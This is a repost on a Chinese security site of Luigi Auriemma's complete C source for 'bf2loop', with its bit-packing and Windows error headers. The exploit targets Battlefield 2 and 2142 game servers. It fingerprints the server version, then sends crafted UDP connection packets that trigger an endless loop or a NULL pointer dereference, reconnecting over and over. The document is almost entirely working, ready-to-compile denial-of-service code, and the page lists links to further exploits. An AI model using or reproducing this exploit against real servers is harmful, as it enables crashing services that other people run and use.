首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Refractor 2 Engine NULL Pointer Dereference
来源:aluigi.org 作者:Luigi 发布时间:2011-02-28  

--------------bf2loop.c----------------

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <ctype.h>
#include <time.h>
#include "rwbits.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
    #define waitms(x)   sleep(x)
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
    #define stristr strcasestr
    #define stricmp strcasecmp
    #define waitms(x)   sleep(x * 1000)
#endif

 

#define VER         "0.2"
#define PORT        16567
#define BUFFSZ      0xffff
#define PADDING(x)  (((x) + 7) & ~7)
#define GS2_QUERY   "\xfe\xfd\x00" "\x00\x00\x00\x00"                    "\xff\x00\x00" "\x00"
#define GS3_QUERY   "\xfe\xfd\x09" "\x00\x00\x00\x00"
#define GS3_QUERYX  "\xfe\xfd\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\xff\x00\x00" "\x00"

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;

 

u32 setver(u8 *gamever);
int write_bstr(u8 *data, u32 len, u8 *buff, u32 bitslen);
int read_bstr(u8 *data, u32 len, u8 *buff, u32 bitslen);
u32 bf2_info(u8 *buff, struct sockaddr_in *peer);
int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...);
void fgetz(u8 *data, int len);
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);

 

int main(int argc, char *argv[]) {
    struct  sockaddr_in peer,
                        peerl;
    u32     ver     = 0;
    int     sd,
            i,
            b,
            bug,
            len,
            res,
            err,
            token,
            slot    = 0,
            par1    = 1,
            par2    = 0x1002;
    u16     port    = PORT;
    u8      pass[33],
            mod[33],
            *buff,
            *host,
            *p;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Battlefield 2 (1.41 - 1.1.2965-797) / 2142 (1.50 - 1.10.48.0) endless loop "VER"\n"
        "  bug found by Francis Lavoie-Renaud\n"
        "Battlefield 2 (1.50 - 1.5.3153-802.0) / 2142 (1.51 - 1.10.112.0) NULL pointer\n"
        "  bug found by SomaFM, Luigi Auriemma and Francis Lavoie-Renaud\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s [options] <host[:port]>\n"
            "\n"
            "Options:\n"
            "-p PORT set the server port, you can specify it after the host too (IP:PORT)\n"
            "        the default port used is %hu of bf2, so use 17567 for bf2142\n"
            "-v VER  set the exact version used by the server\n"
            "        if version is not set the tool will automatically get info from the\n"
            "        query port 29900 of the server since this parameter is needed\n"
            "\n", argv[0], port);
        exit(1);
    }

    argc--;
    for(i = 1; i < argc; i++) {
        if(((argv[i][0] != '-') && (argv[i][0] != '/')) || (strlen(argv[i]) != 2)) {
            printf("\nError: wrong argument (%s)\n", argv[i]);
            exit(1);
        }
        switch(argv[i][1]) {
            case 'p': port  = atoi(argv[++i]);      break;
            case 'v': ver   = setver(argv[++i]);    break;
            default: {
                printf("\nError: wrong command-line argument (%s)\n", argv[i]);
                exit(1);
                } break;
        }
    }

    host = argv[argc];
    p = strchr(host, ':');
    if(p) {
        *p = 0;
        port = atoi(p + 1);
    }

    peer.sin_addr.s_addr  = resolv(host);
    peer.sin_port         = htons(port);
    peer.sin_family       = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    buff = malloc(BUFFSZ);
    if(!buff) std_err();
    pass[0] = 0;
    strcpy(mod, "mods/bf2");

    if(!ver) {
        printf("- query server\n");
        ver = bf2_info(buff, &peer);
        if(!ver) {
            printf("\nError: no version/gamever found in the server's reply\n");
            exit(1);
        }
        printf("\n- set version %08x\n", ver);
    }

    peerl.sin_addr.s_addr = INADDR_ANY;
    peerl.sin_port        = htons(time(NULL));
    peerl.sin_family      = AF_INET;

redo:
    slot    = 0;
    par1    = 1;
    par2    = 0x1002;
    printf("- start connection:\n");
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    do {
        peerl.sin_port++;
    } while(bind(sd, (struct sockaddr *)&peerl, sizeof(struct sockaddr_in)) < 0);

    bug = time(NULL) & 0x1f;
    if(!bug) bug++; // between 1 and 0x1f
    b   = 0;
    len = -1;
    for(;;) {
        res = -1;   // reset
        if(len >= 0) {
            len = send_recv(sd, buff, len, buff, BUFFSZ, &peer, 0);
            if(len < 0) {
                if(par1 == 1) {
                    par1 = 0x10;
                    par2 = 0xf005;
                    continue;
                }
                printf("\nError: no reply received from server\n");
                exit(1);
            }
            b = 0;
            res = read_bits(4,  buff, b);   b += 4;
            printf("\n  received: %02x %d\n", res, len);
            len = -1;   // reset
        }

        if(res < 0) {
            b = 0;
            b = write_bits(1,       4,  buff, b);
            b = write_bits(par1,    8,  buff, b);
            b = write_bits(par2,    32, buff, b);
            b = write_bits(ver,     32, buff, b);
            b = write_bits(1,       1,  buff, b);
            b = write_bits(0,       32, buff, b);
            b = write_bstr(pass,    32, buff, b);
            b = write_bstr(mod,     32, buff, b);
            len = PADDING(b) >> 3;

        } else if(res == 2) {
            slot = read_bits(8, buff, 12);
            b = 0;
            b = write_bits(0x04,    4,  buff, b);
            b = write_bits(slot,    8,  buff, b);
            len = PADDING(b) >> 3;

        } else if(res == 0x0f) {
            b = 0;
            b = write_bits(0x0f, 4, buff, b);
            b = write_bits(slot, 8, buff, b);
            b = write_bits(bug, 6, buff, b);
            b = write_bits(0x00, 6, buff, b);
            b = write_bits(0x00, 32, buff, b);
            len = PADDING(b) >> 3;

        } else if(res == 0x07) {
            token = read_bits(32, buff, 57);
            b = 0;
            b = write_bits(0x08, 4, buff, b);
            b = write_bits(slot, 8, buff, b);
            b = write_bits(0x3f, 6, buff, b);
            b = write_bits(0x00, 6, buff, b);
            b = write_bits(0x00, 32, buff, b);
            b = write_bits(0x00, 1, buff, b);
            b = write_bits(token, 32, buff, b);
            b = write_bits(0, 32, buff, b);
            len = PADDING(b) >> 3;

        } else if(!res || (res == 3)) {
                                            b += 8;
            err = read_bits(32, buff, b);   b += 32;

            if(err == 2) {
                printf("\n- server full\n");
                sleep(ONESEC);
                continue;
            } else if(err == 0x11) {
                printf("\n- server is protected, insert password:\n  ");
                fgetz(pass, sizeof(pass));
                continue;
            } else if(err == 0x17) {
                printf("\nError: your version is minor than that of the server\n");
                exit(1);
            } else if(err == 0x18) {
                if(len < 0) goto quit;  // lame work-around
                printf("\nError: your version is major than that of the server\n");
                exit(1);
            } else if(err == 0x24) {
                read_bstr(mod, 32, buff, b + 1);
                printf("\n- set mod: %.*s\n", 32, mod);
                continue;
            } else {
                if(!res) {  // demo
                    continue;
                }
                printf("\nError: your player has not been accepted, error %08x\n", err);
                exit(1);
            }
        } else {
            printf("\nError: your player has not been accepted, result %08x\n", res);
            exit(1);
        }
    }

quit:
    close(sd);
    printf("\n"
        "- you must check the server manually to know if it's vulnerable or not\n");
    goto redo;
    return(0);
}

 

u32 setver(u8 *gamever) {
    int     v1  = 0,
            v2  = 0,
            v3  = 0,
            v4  = 0;

    sscanf(gamever, "%d.%d.%d.%d", &v1, &v2, &v3, &v4);
    return(((v1 & 0xf) << 28) | ((v2 & 0xf) << 24) | ((v3 & 0xffff) << 8) | (v4 & 0xff));
}

 

int write_bstr(u8 *data, u32 len, u8 *buff, u32 bitslen) {
    int     i;

    for(i = 0; i < len; i++) {
        if(!data[i]) break;
        bitslen = write_bits(data[i], 8,  buff, bitslen);
    }
    for(     ; i < len; i++) {
        bitslen = write_bits(0,       8,  buff, bitslen);
    }
    return(bitslen);
}

 

int read_bstr(u8 *data, u32 len, u8 *buff, u32 bitslen) {
    int     i;

    for(i = 0; i < len; i++) {
        data[i] = read_bits(8, buff, bitslen);
        bitslen += 8;
    }
    return(bitslen);
}

 

u32 bf2_info(u8 *buff, struct sockaddr_in *peer) {
    u32     ver = 0,
            chall;
    u16     bckport;
    int     sd,
            i,
            len;
    u8      gs3[32],
            *gamever,
            *hostport;

    bckport = ntohs(peer->sin_port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    for(i = 0; i < 2; i++) {
        switch(i) {
            case 0: peer->sin_port = htons(29900);      break;
            case 1: peer->sin_port = htons(bckport);    break;
        }
        printf("\n- send query to port %hu\n", ntohs(peer->sin_port));
        len = send_recv(sd, GS2_QUERY, sizeof(GS2_QUERY) - 1, buff, BUFFSZ, peer, 0);
        if(len > 0) break;
        len = send_recv(sd, GS3_QUERY, sizeof(GS3_QUERY) - 1, buff, BUFFSZ, peer, 0);
        if(len > 0) {
            memcpy(gs3, GS3_QUERYX, sizeof(GS3_QUERYX) - 1);
            chall = atoi(buff + 5);
            gs3[7]  = chall >> 24;
            gs3[8]  = chall >> 16;
            gs3[9]  = chall >>  8;
            gs3[10] = chall;
            len = send_recv(sd, gs3, sizeof(GS3_QUERYX) - 1, buff, BUFFSZ, peer, 0);
            if(len > 0) break;
        }
    }
    if(len < 0) goto quit;

    printf("\n- handle reply:\n");
    gs_handle_info(buff, len, 0, '\0', 5, 0,
        "gamever",  &gamever,
        "hostport", &hostport,
        NULL,       NULL);

    if(gamever) {
        ver = setver(gamever);
    }
    if(hostport) {
        bckport = atoi(hostport);
    }

quit:
    close(sd);
    peer->sin_port = htons(bckport);
    return(ver);
}

 

int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...) {
    va_list ap;
    int     i,
            args,
            found;
    u8      **parz,
            ***valz,
            *p,
            *limit,
            *par,
            *val;

    va_start(ap, rear);
    for(i = 0; ; i++) {
        if(!va_arg(ap, u8 *))  break;
        if(!va_arg(ap, u8 **)) break;
    }
    va_end(ap);

    args = i;
    parz = malloc(args * sizeof(u8 *));
    valz = malloc(args * sizeof(u8 **));

    va_start(ap, rear);
    for(i = 0; i < args; i++) {
        parz[i]  = va_arg(ap, u8 *);
        valz[i]  = va_arg(ap, u8 **);
        *valz[i] = NULL;
    }
    va_end(ap);

    found  = 0;
    limit  = data + datalen - rear;
    *limit = 0;
    data   += front;
    par    = NULL;
    val    = NULL;

    for(p = data; (data < limit) && p; data = p + 1, nt++) {
        p = strchr(data, chr);
        if(p) *p = 0;

        if(nt & 1) {
            if(!par) continue;
            val = data;
            printf("  %30s %s\n", par, val);

            for(i = 0; i < args; i++) {
                if(!stricmp(par, parz[i])) *valz[i] = val;
            }
        } else {
            par = data;
        }
    }

    free(parz);
    free(valz);
    return(found);
}

 

void fgetz(u8 *data, int len) {
    u8      *p;

    fgets(data, len, stdin);
    for(p = data; *p && (*p != '\n') && (*p != '\r'); p++);
    *p = 0;
}

 

int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err) {
    int     retry,
            len;

    if(in && !out) {
        fputc('.', stdout);
        if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
          < 0) goto quit;
        return(0);
    }
    if(in) {
        for(retry = 2; retry; retry--) {
            fputc('.', stdout);
            if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
              < 0) goto quit;
            if(!timeout(sd, 1)) break;
        }

        if(!retry) {
            if(!err) return(-1);
            printf("\nError: socket timeout, no reply received\n\n");
            exit(1);
        }
    } else {
        if(timeout(sd, 3) < 0) return(-1);
    }

    fputc('.', stdout);
    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) goto quit;
    return(len);
quit:
    if(err) std_err();
    return(-1);
}

 

int timeout(int sock, int secs) {
    struct  timeval tout;
    fd_set  fd_read;

    tout.tv_sec  = secs;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    if(select(sock + 1, &fd_read, NULL, NULL, &tout)
      <= 0) return(-1);
    return(0);
}

 

u32 resolv(char *host) {
    struct  hostent *hp;
    u32     host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u32 *)hp->h_addr;
    }
    return(host_ip);
}

 

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif


----------------rwbits.h----------------

/*
Read/Write bits to buffer 0.1.2
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    aluigi.org

max 32 bits numbers supported (from 0 to 4294967295).
Probably not the fastest bit packing functions existent, but I like them.
*/

 

unsigned int read_bits(    // number read
  unsigned int bits,       // how much bits to read
  unsigned char *in,       // buffer from which to read the number
  unsigned int in_bits     // position of the buffer in bits
) {
    unsigned int    seek_bits,
                    rem,
                    seek = 0,
                    ret  = 0,
                    mask = 0xffffffff;

    if(bits > 32) return(0);
    if(bits < 32) mask = (1 << bits) - 1;
    for(;;) {
        seek_bits = in_bits & 7;
        ret |= ((in[in_bits >> 3] >> seek_bits) & mask) << seek;
        rem = 8 - seek_bits;
        if(rem >= bits) break;
        bits    -= rem;
        in_bits += rem;
        seek    += rem;
        mask     = (1 << bits) - 1;
    }
    return(ret);
}

 

unsigned int write_bits(   // position where the stored number finishs
  unsigned int data,       // number to store
  unsigned int bits,       // how much bits to occupy
  unsigned char *out,      // buffer on which to store the number
  unsigned int out_bits    // position of the buffer in bits
) {
    unsigned int    seek_bits,
                    rem,
                    mask;

    if(bits > 32) return(out_bits);
    if(bits < 32) data &= (1 << bits) - 1;
    for(;;) {
        seek_bits = out_bits & 7;
        mask = (1 << seek_bits) - 1;
        if((bits + seek_bits) < 8) mask |= ~(((1 << bits) << seek_bits) - 1);
        out[out_bits >> 3] &= mask; // zero
        out[out_bits >> 3] |= (data << seek_bits);
        rem = 8 - seek_bits;
        if(rem >= bits) break;
        out_bits += rem;
        bits     -= rem;
        data    >>= rem;
    }
    return(out_bits + bits);
}

 

---------------winerr.h----------------------

/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>

 

void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Elecard AVC_HD/MPEG Player 5.7
·JetAudio Skins 5.1.5.2 Buffer
·eXPert PDF Reader 4.0 NULL Poi
·KMPlayer Skins 2.9.3.1 Buffer
·Joomla XCloner Component (com_
·DivX Player Skins 6.8.2.1 Buff
·iPhone MyDocs 2.7 Directory Tr
·MS Visual Studio 9.0 .csproj B
·iPhone iFile 2.0 Directory Tra
·MS Visual Studio 9.0 .vbproj B
·iPhone Folders 2.5 Directory T
·Movavi VideoSuite 8.0 Buffer O
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved